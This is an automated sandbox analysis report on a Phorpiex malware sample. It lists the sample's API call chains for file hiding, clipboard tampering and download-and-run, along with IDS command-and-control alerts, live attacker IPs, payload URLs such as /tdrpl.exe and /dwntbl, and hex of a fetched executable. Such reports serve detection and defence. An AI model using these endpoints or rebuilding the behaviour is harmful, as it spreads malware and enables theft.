Source: C:\Users\user\AppData\Local\Temp\33080.scr	Code function: 1_2_004068E0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	1_2_004068E0
Source: C:\Users\user\AppData\Local\Temp\33080.scr	Code function: 1_2_004067A0 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	1_2_004067A0
Source: C:\Windows\sysppvrdnvs.exe	Code function: 2_2_004068E0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	2_2_004068E0
Source: C:\Windows\sysppvrdnvs.exe	Code function: 2_2_004067A0 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	2_2_004067A0
Source: C:\Windows\sysppvrdnvs.exe	Code function: 17_2_004068E0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	17_2_004068E0
Source: C:\Windows\sysppvrdnvs.exe	Code function: 17_2_004067A0 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	17_2_004067A0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49734 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.4:50345 -> 5.75.95.114:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49731 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2837677 - Severity 1 - ETPRO MALWARE Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature) : 185.215.113.66:80 -> 192.168.2.4:49734
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.4:50345 -> 5.239.153.192:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:57562 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2022050 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 : 185.215.113.66:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:57563 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2022051 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 : 185.215.113.66:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2837677 - Severity 1 - ETPRO MALWARE Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature) : 185.215.113.66:80 -> 192.168.2.4:49731

Contains functionality to check if Internet connection is working

Source: C:\Users\user\AppData\Local\Temp\33080.scr	Code function: 1_2_0040B430 htons,socket,connect,getsockname, www.update.microsoft.com	1_2_0040B430
Source: C:\Windows\sysppvrdnvs.exe	Code function: 2_2_0040B430 htons,socket,connect,getsockname, www.update.microsoft.com	2_2_0040B430
Source: C:\Windows\sysppvrdnvs.exe	Code function: 17_2_0040B430 htons,socket,connect,getsockname, www.update.microsoft.com	17_2_0040B430

Source: C:\Users\user\Desktop\Bjl3geiFEK.exe

Code function: 0_2_004B10B0 Sleep,DeleteFileW,FindWindowA,MoveFileW,DeleteFileW,FindWindowA,MoveFileW,DeleteFileW,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,srand,mbstowcs,mbstowcs,wsprintfW,wsprintfW,PathFileExistsW,mbstowcs,mbstowcs,rand,wsprintfW,mbstowcs,mbstowcs,URLDownloadToFileW,ShellExecuteW,FreeLibrary,FreeLibrary,FreeLibrary,FreeLibrary,FreeLibrary,

0_2_004B10B0

Source: global traffic	TCP traffic: 192.168.2.4:49735 -> 2.186.114.89:40500
Source: global traffic	TCP traffic: 192.168.2.4:57564 -> 2.63.29.22:40500
Source: global traffic	UDP traffic: 192.168.2.4:50345 -> 5.239.153.192:40500
Source: global traffic	UDP traffic: 192.168.2.4:50345 -> 5.75.95.114:40500

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 28 Oct 2024 10:11:12 GMTContent-Type: application/octet-streamContent-Length: 85504Last-Modified: Sun, 20 Oct 2024 18:13:32 GMTConnection: keep-aliveETag: "6715484c-14e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6d bb 70 6a 29 da 1e 39 29 da 1e 39 29 da 1e 39 20 a2 94 39 2e da 1e 39 51 a8 1f 38 2b da 1e 39 ea d5 43 39 2b da 1e 39 ea d5 41 39 28 da 1e 39 ea d5 11 39 2b da 1e 39 0e 1c 73 39 2d da 1e 39 29 da 1f 39 95 da 1e 39 0e 1c 65 39 3c da 1e 39 20 a2 9d 39 2d da 1e 39 20 a2 9a 39 35 da 1e 39 20 a2 8f 39 28 da 1e 39 52 69 63 68 29 da 1e 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 a4 84 07 67 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 ee 00 00 00 70 00 00 00 00 00 00 40 79 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 70 01 00 00 04 00 00 00 00 00 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 7c 30 01 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 10 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 86 ed 00 00 00 10 00 00 00 ee 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 f2 3f 00 00 00 00 01 00 00 40 00 00 00 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 90 2e 00 00 00 40 01 00 00 1c 00 00 00 32 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 185.215.113.66 185.215.113.66
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 91.202.233.141 91.202.233.141

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: TCIIR TCIIR

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49734 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49740 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49731 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:57562 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:57563 -> 185.215.113.66:80

Source: global traffic	HTTP traffic detected: GET /tdrpl.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 185.215.113.66Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /dwntbl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66

Source: C:\Users\user\Desktop\Bjl3geiFEK.exe

0_2_004B10B0

Source: global traffic	HTTP traffic detected: GET /tdrpl.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 185.215.113.66Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /dwntbl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66

Source: Bjl3geiFEK.exe, 00000000.00000002.1807520857.000000000130E000.00000004.00000020.00020000.00000000.sdmp, Bjl3geiFEK.exe, 00000000.00000002.1807520857.000000000135B000.00000004.00000020.00020000.00000000.sdmp, 33080.scr, 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 33080.scr, 00000001.00000002.1840086247.000000000042E000.00000004.00000020.00020000.00000000.sdmp, 33080.scr, 00000001.00000000.1806932551.0000000000410000.00000002.00000001.01000000.00000006.sdmp, sysppvrdnvs.exe, 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000002.00000003.1953713247.00000000048C1000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000000.1827597836.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000011.00000000.1955113533.0000000000410000.00000002.00000001.01000000.00000007.sdmp, 818921588.exe, 00000012.00000002.1995595599.0000000000410000.00000002.00000001.01000000.00000008.sdmp, 818921588.exe, 00000012.00000000.1975136463.0000000000410000.00000002.00000001.01000000.00000008.sdmp, tdrpl[1].exe.0.dr, sysppvrdnvs.exe.1.dr, 33080.scr.0.dr, 818921588.exe.2.dr	String found in binary or memory: http://185.215.113.66/
Source: sysppvrdnvs.exe, 00000002.00000003.1903798515.0000000000688000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1
Source: sysppvrdnvs.exe, 00000002.00000002.2003480961.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1C:
Source: sysppvrdnvs.exe, 00000002.00000003.1903094197.0000000000688000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000003.1903798515.0000000000688000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1G0td
Source: sysppvrdnvs.exe, 00000002.00000003.1936945817.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1JJC:
Source: sysppvrdnvs.exe, 00000002.00000002.2003480961.0000000000688000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1LMEM0P
Source: sysppvrdnvs.exe, 00000002.00000003.1937078841.0000000000699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1aenh.dll
Source: sysppvrdnvs.exe, 00000002.00000002.2003480961.000000000069F000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000003.1937078841.000000000069F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1uK
Source: sysppvrdnvs.exe, 00000002.00000002.2003916309.0000000002EEC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/2
Source: sysppvrdnvs.exe, 00000002.00000002.2003916309.0000000002EEC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/2(Bf
Source: sysppvrdnvs.exe, 00000002.00000002.2003480961.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/2C:
Source: sysppvrdnvs.exe, 00000002.00000002.2003480961.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/2JJC:
Source: 33080.scr, 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 33080.scr, 00000001.00000002.1840086247.000000000042E000.00000004.00000020.00020000.00000000.sdmp, 33080.scr, 00000001.00000000.1806932551.0000000000410000.00000002.00000001.01000000.00000006.sdmp, sysppvrdnvs.exe, 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000002.00000003.1953713247.00000000048C1000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000000.1827597836.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000011.00000000.1955113533.0000000000410000.00000002.00000001.01000000.00000007.sdmp, 818921588.exe, 00000012.00000002.1995595599.0000000000410000.00000002.00000001.01000000.00000008.sdmp, 818921588.exe, 00000012.00000000.1975136463.0000000000410000.00000002.00000001.01000000.00000008.sdmp, tdrpl[1].exe.0.dr, sysppvrdnvs.exe.1.dr, 33080.scr.0.dr, 818921588.exe.2.dr	String found in binary or memory: http://185.215.113.66/http://91.202.233.141/12345%s%s%s:Zone.Identifier%userprofile%%windir%%s
Source: sysppvrdnvs.exe	String found in binary or memory: http://185.215.113.66/tdrp.exe
Source: 33080.scr, 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 33080.scr, 00000001.00000002.1840086247.000000000042E000.00000004.00000020.00020000.00000000.sdmp, 33080.scr, 00000001.00000000.1806932551.0000000000410000.00000002.00000001.01000000.00000006.sdmp, sysppvrdnvs.exe, 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000002.00000003.1953713247.00000000048C1000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000000.1827597836.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000011.00000000.1955113533.0000000000410000.00000002.00000001.01000000.00000007.sdmp, 818921588.exe, 00000012.00000002.1995595599.0000000000410000.00000002.00000001.01000000.00000008.sdmp, 818921588.exe, 00000012.00000000.1975136463.0000000000410000.00000002.00000001.01000000.00000008.sdmp, tdrpl[1].exe.0.dr, sysppvrdnvs.exe.1.dr, 33080.scr.0.dr, 818921588.exe.2.dr	String found in binary or memory: http://185.215.113.66/tdrp.exe%s:Zone.Identifier/c
Source: Bjl3geiFEK.exe, 00000000.00000002.1807520857.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/tdrpl.exe
Source: Bjl3geiFEK.exe, 00000000.00000002.1807520857.000000000135B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/tdrpl.exeb1E
Source: Bjl3geiFEK.exe, 00000000.00000002.1807520857.000000000135B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/tdrpl.exek1L
Source: Bjl3geiFEK.exe, 00000000.00000002.1807520857.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/tdrpl.exer
Source: 33080.scr, 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 33080.scr, 00000001.00000002.1840086247.000000000042E000.00000004.00000020.00020000.00000000.sdmp, 33080.scr, 00000001.00000000.1806932551.0000000000410000.00000002.00000001.01000000.00000006.sdmp, sysppvrdnvs.exe, 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000002.00000003.1953713247.00000000048C1000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000000.1827597836.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000011.00000000.1955113533.0000000000410000.00000002.00000001.01000000.00000007.sdmp, 818921588.exe, 00000012.00000002.1995595599.0000000000410000.00000002.00000001.01000000.00000008.sdmp, 818921588.exe, 00000012.00000000.1975136463.0000000000410000.00000002.00000001.01000000.00000008.sdmp, tdrpl[1].exe.0.dr, sysppvrdnvs.exe.1.dr, 33080.scr.0.dr, 818921588.exe.2.dr	String found in binary or memory: http://91.202.233.141/
Source: sysppvrdnvs.exe, 00000002.00000003.1937078841.000000000069F000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000002.2004958997.0000000005B0D000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/dwntbl
Source: sysppvrdnvs.exe, 00000002.00000002.2003480961.000000000061E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/dwntbl2C
Source: sysppvrdnvs.exe, 00000002.00000002.2003480961.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/dwntblan
Source: sysppvrdnvs.exe, 00000002.00000002.2003480961.0000000000688000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/dwntblhy
Source: sysppvrdnvs.exe, 00000002.00000002.2003480961.000000000061E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/dwntbllvCkd
Source: sysppvrdnvs.exe, 00000002.00000002.2003480961.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/dwntblt-InLMEMH
Source: 818921588.exe.2.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 818921588.exe.2.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: Bjl3geiFEK.exe, 00000000.00000002.1807520857.000000000136A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com

Source: C:\Users\user\AppData\Local\Temp\33080.scr

Code function: 1_2_00404970 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

1_2_00404970

Source: C:\Users\user\AppData\Local\Temp\33080.scr	Code function: 1_2_00404970 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	1_2_00404970
Source: C:\Windows\sysppvrdnvs.exe	Code function: 2_2_00404970 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	2_2_00404970
Source: C:\Windows\sysppvrdnvs.exe	Code function: 17_2_00404970 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	17_2_00404970

